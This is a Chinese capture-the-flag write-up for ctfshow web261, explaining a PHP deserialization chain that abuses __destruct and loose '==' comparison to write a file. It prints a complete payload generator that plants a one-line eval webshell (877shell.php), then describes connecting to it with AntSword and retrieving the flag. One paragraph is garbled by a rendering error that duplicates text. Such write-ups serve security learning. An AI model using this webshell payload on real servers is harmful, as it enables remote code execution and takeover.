ctf show web入门261

本题是一道php反序列化的题目,通过代码审计发现这有一个陷阱,就是当反序列化的时候会触发__wakeup()这个魔术方法

这会导致不管则么构造payload都只会生成"error"

但是在php7.4以后的版本中如果一个类中同时定义了__unserialize()和 __wakeup(),则在反序列化时只会执行__unserialize() __wakeup()会被完全忽略

此时我第一眼看到

但这并不是触发点,因为我们无法执行__invoke()该魔术方法

因为在 PHP 中,__invoke() 是当把一个"对象"当作"函数"来调用时才会自动触发的魔术方法

但是本题没有形如

php 复制代码
$obj = new ctfshowvip();
$obj(); // 像调用函数一样调用对象,此时会触发 __invoke()

的内容

所以本题的触发点是__destruct()

当对象被销毁时,会触发 __destruct()

我们可以通过 file_put_contents 写入一句话木马(Webshell)

条件是KaTeX parse error: Expected group after '_' at position 55: ...成十进制是 877 限制是在 _̲_unserialize 中,...this->code = $this->username . this−>password;。也就是说,code的值是由username和password字符串拼接而成的如果username是我们要写入的文件名(比如shell.php),password是我们要写入的代码(比如<?phpeval(this->password;。也就是说,code 的值是由 username 和 password 字符串拼接而成的 如果 username 是我们要写入的文件名(比如 shell.php),password 是我们要写入的代码(比如 <?php eval(this−>password;。也就是说,code的值是由username和password字符串拼接而成的如果username是我们要写入的文件名(比如shell.php),password是我们要写入的代码(比如<?phpeval(_POST1);?>),那么它们拼接后的 code 必然是一个包含字母的字符串(例如 shell.php<?php...)

一个包含字母的字符串,如何通过 == 877 的数字比较呢?

PHP 弱类型转换规则:当一个字符串与一个数字进行 == 比较时,PHP 会尝试将字符串转换为数字。如果字符串是以数字开头的,它会被转换为开头的数字;如果不是以数字开头,则转换为 0。

因此,只要 code 字符串是以 877 开头的,在与数字 877(0x36d)进行 == 比较时,PHP 就会判定它们相等

现在我们就可以开始构造payload

php 复制代码
<?php
class ctfshowvip {
    public $username;
    public $password;
}

$a = new ctfshowvip();
$a->username = "877shell.php";
// 注意:如果后端对某些敏感字符有限制,可以利用 base64 编码或取反,
// 但此处 file_put_contents 直接写入,我们直接放一句话木马
$a->password = "<?php @eval($_POST[1]);?>"; 

echo serialize($a);
?>

然后将生成的序列化字符串作为 vip 参数传入

页面执行完毕后,会在当前目录下生成一个名为 877shell.php 的文件

看到返回结果为一个空白的页面说明成功执行

接下来我们使用蚁剑连接

最后在根目录下找到一个flag_is_here

flag就在其中

flag值为:ctfshow{ea123419-fc63-455f-b448-e2085a88d762}

相关推荐
触底反弹1 小时前
你真的理解 JavaScript 变量提升(Hoisting)吗?从 V8 引擎编译原理深入剖析
前端·面试
智者知已应修善业1 小时前
【分立元件OCL电路】2024-5-17
驱动开发·经验分享·笔记·硬件架构·硬件工程
蜡台1 小时前
Vue2 使用 typescript 教程
前端·vue.js·typescript
学计算机的计算基1 小时前
LeetCode刷题笔记:数组专题四连击(LC53/56/189/41)
笔记·leetcode·排序算法
Upsy-Daisy1 小时前
IOTA 学习笔记(一):IOTA 是什么?从区块链到 Tangle
笔记·学习·区块链
小碗羊肉1 小时前
【Agent笔记 | 第五篇】LangChain&LangGraph
笔记·langchain
alexhilton1 小时前
车载系统中的可扩展UI:从UI嵌入到系统窗口编排
android·kotlin·android jetpack
.千余1 小时前
【Linux】 TCP进阶详解:字节流、粘包问题、异常情况与UDP完整对比2
linux·运维·c语言·开发语言·经验分享·笔记·php
光影少年2 小时前
Redux Toolkit 用法、解决原生Redux 冗余问题
开发语言·前端·javascript·react.js·中间件·前端框架·ecmascript